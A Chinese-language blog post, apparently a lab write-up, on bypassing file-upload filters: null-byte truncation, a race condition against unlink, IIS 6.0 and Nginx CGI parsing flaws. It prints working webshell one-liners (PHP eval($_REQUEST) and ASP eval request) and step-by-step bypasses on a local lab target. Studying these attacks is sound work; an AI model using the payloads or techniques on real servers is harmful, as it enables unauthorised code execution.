文件上传漏洞研究绕过(二)

huangxin0506 2024-8-13 563 8/13

文件上传漏洞研究绕过(二)

1 %00截断和00截断

    了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了

    在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?

    JPG格式并不会被解析,那么我们需要绕过上传过滤。 假如我写了 1.php%00.jpg  传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是 .jpg ,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php

文件上传漏洞研究绕过(二)

2 以Pass-12和-13为例进行靶场讲解

    2.1 查看提示发现Pass-12地上传路径可控

文件上传漏洞研究绕过(二)

    2.2 分析源码

$ext_arr = array('jpg','png','gif');

    定义白名单,包含允许上传的文件扩展名

 

$file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);

    提取上传文件的扩展名,使用strrpos找到最后一个 . 的位置,然后用substr提取从.后的部分,即文件扩展名

 

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

    构建保存路径和文件名,路径由用户通过GET请求传递的save_path、一个随机数和当前时间戳组成

 

文件上传漏洞研究绕过(二)

    2.3 使用%00截断绕过

    这里我们可以在上传shell.png后进行抓包,考虑将save_path路径值修改为shell.php,但此时上传的后缀变为.phppng,因为这里的路径是通过GET请求,所以考虑使用%00截断,综上将save_path路径值修改为 shell.php%00

    shell.png可以直接由shell.php一句话木马改后缀得到(也可以使用图片马)

文件上传漏洞研究绕过(二)

    文件成功上传,直接访问shell.php进行测试,成功绕过

文件上传漏洞研究绕过(二)

    2.4 分析Pass-13源码

    发现其路径由用户通过POST请求传递的save_path,所以这里需要使用00截断

文件上传漏洞研究绕过(二)

    这里我们可以在上传shell.png后进行抓包,因为是POST请求,所以不能直接修改save_path路径值 shell.php,这里借助一个占位符shell.phpx
  文件上传漏洞研究绕过(二)

    之后将数据包转为16进制,找到占位符x对应的16进制位置,将其修改为00

文件上传漏洞研究绕过(二)

    文件成功上传,直接访问shell.php进行测试,成功绕过

文件上传漏洞研究绕过(二)

3 条件竞争 (以Pass-18为实例)

    3.1 首先了解一个定义——竞争条件是什么?

    “竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

    开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

    线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

3.2 那我们上传是和谁去竞争?

    一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink(删除文件的函数)进行竞争。

文件上传漏洞研究绕过(二)

    可以上传一个php然后访问后,由这个php去写一个马

<?php file_put_contents('shell1.php','<?php eval($_REQUEST[8])?>') ?>

4 Pass-18实例靶场讲解

    条件竞争,尝试和删除pass.php文件的unlink函数竞争访问,由这个pass.php访问后得到一个一句话木马

    4.1 上传这个pass.php文件并进行抓包后发至测试器,在任意一个地方添加payload,设置没有负载和无限期地重复,建议添加资源池为20

文件上传漏洞研究绕过(二)

文件上传漏洞研究绕过(二)

文件上传漏洞研究绕过(二)

    4.2 对 http://192.168.174.128:85/upload/pass.php 抓包后发至测试器,在任意一个地方添加payload,设置没有负载和无限期地重复,资源池设置为10

文件上传漏洞研究绕过(二)

文件上传漏洞研究绕过(二)

文件上传漏洞研究绕过(二)

    4.3 开始攻击,发现pass.php文件都是上传后会被删除

文件上传漏洞研究绕过(二)

    4.4 等待访问http://192.168.174.128:85/upload/pass.php时成功,生成shell1.php文件

文件上传漏洞研究绕过(二)

    4.5 成功得到shell1.php,检测成功绕过

文件上传漏洞研究绕过(二)

5 IIS6.0解析漏洞

    IIS 6.0 的一些解析漏洞其实可以被看作是其特性,严格来说,这些只是一些默认配置,而不是真正的漏洞。不过,也确实存在一些可以被归类为漏洞的问题

    5.1 IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll 

文件上传漏洞研究绕过(二)

    这里我以Windows 2003系统 , IIS 6.0 服务器为环境演示,打开服务器根目录:c:\inetpub\wwwroot,创建shell.asp一句话木马文件

<%eval request("pass")%>

文件上传漏洞研究绕过(二)

    访问 /shell.asp 文件,使用剑蚁成功连接

文件上传漏洞研究绕过(二)

    如果访问文件出现报错

文件上传漏洞研究绕过(二)

    打开Web服务扩展,允许asp服务扩展即可解决问题

文件上传漏洞研究绕过(二)

    这里我们还可以添加自定义后缀.hx

文件上传漏洞研究绕过(二)

    访问 /shell.hx 文件,使用剑蚁也可以成功连接

文件上传漏洞研究绕过(二)

    5.2  IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

    请求:/aaa.asp;xxxx.jpg

           1:从头部查找查找 " . "号,获得 .asp;xxxx.jpg
           2:查找" ; "号,如果有则内存截断
           3:查找" / ",如果有则内存截断
    最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理

    test.asp;.jpg   将当做asp进行解析

    打开服务器根目录:c:\inetpub\wwwroot,将shell.asp一句话木马文件复制后,更改文件名为 test.asp;.jpg
文件上传漏洞研究绕过(二)
    访问 /test.asp;.jpg 文件,使用剑蚁成功连接
文件上传漏洞研究绕过(二)

    test.asp/shell.png  将当做asp进行解析

    打开服务器根目录:c:\inetpub\wwwroot,创建以test.asp命名的文件夹,将shell.asp一句话木马文件复制到test.asp文件夹后,更改文件名为 shell.png

文件上传漏洞研究绕过(二)

    访问 /test.asp/shell.png  文件,使用剑蚁成功连接

文件上传漏洞研究绕过(二)

6 CGI解析漏洞 

    6.1 Nginx 默认通过 CGI 方式(通用网关接口)支持 PHP 解析

    通常情况下,会在 Nginx 配置文件中使用正则表达式匹配来设置  SCRIPT_FILENAME

    6.2 当访问  www.xx.com/phpinfo.jpg/1.php  这个 URL 时

    $fastcgi_script_name  会被设置为 "phpinfo.jpg/1.php" ,并由此构造 SCRIPT_FILENAME(绝对路径)传递给 PHP CGI

    如果 cgi.fix_pathinfo=1  选项被启用(该选项的默认值为 1,访问/phpinfo.php文件,即可看这个功能是否开启)

文件上传漏洞研究绕过(二)

    6.3 PHP 将会按照如下逻辑进行处理:

     PHP 会认为  SCRIPT_FILENAME(绝对路径)对应  phpinfo.jpg ,PHP 会错误地认为 phpinfo.jpg 是实际的 PHP 文件,而把 /1.php 识别为额外的路径信息 ( PATH_INFO )。结果,PHP 可能会尝试将一个不应被解析的文件(如 phpinfo.jpg 文件)作为 PHP 文件来解析

    这是一个逻辑漏洞,因此我们只需要在正常的  .jpg  后面加上  /.php  即可成功绕过解析机制

    6.4 通过phpstudy切换成nginx版本,作为靶场环境

文件上传漏洞研究绕过(二)
    打开服务器根目录:C:\phpStudy\WWW,将shell.asp一句话木马文件复制后,更改文件名为 shell.png
文件上传漏洞研究绕过(二)
    访问 /shell.png/.php?pass=phpinfo(); 测试成功
文件上传漏洞研究绕过(二)
- THE END -

huangxin0506

8月14日00:04

最后修改:2024年8月14日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论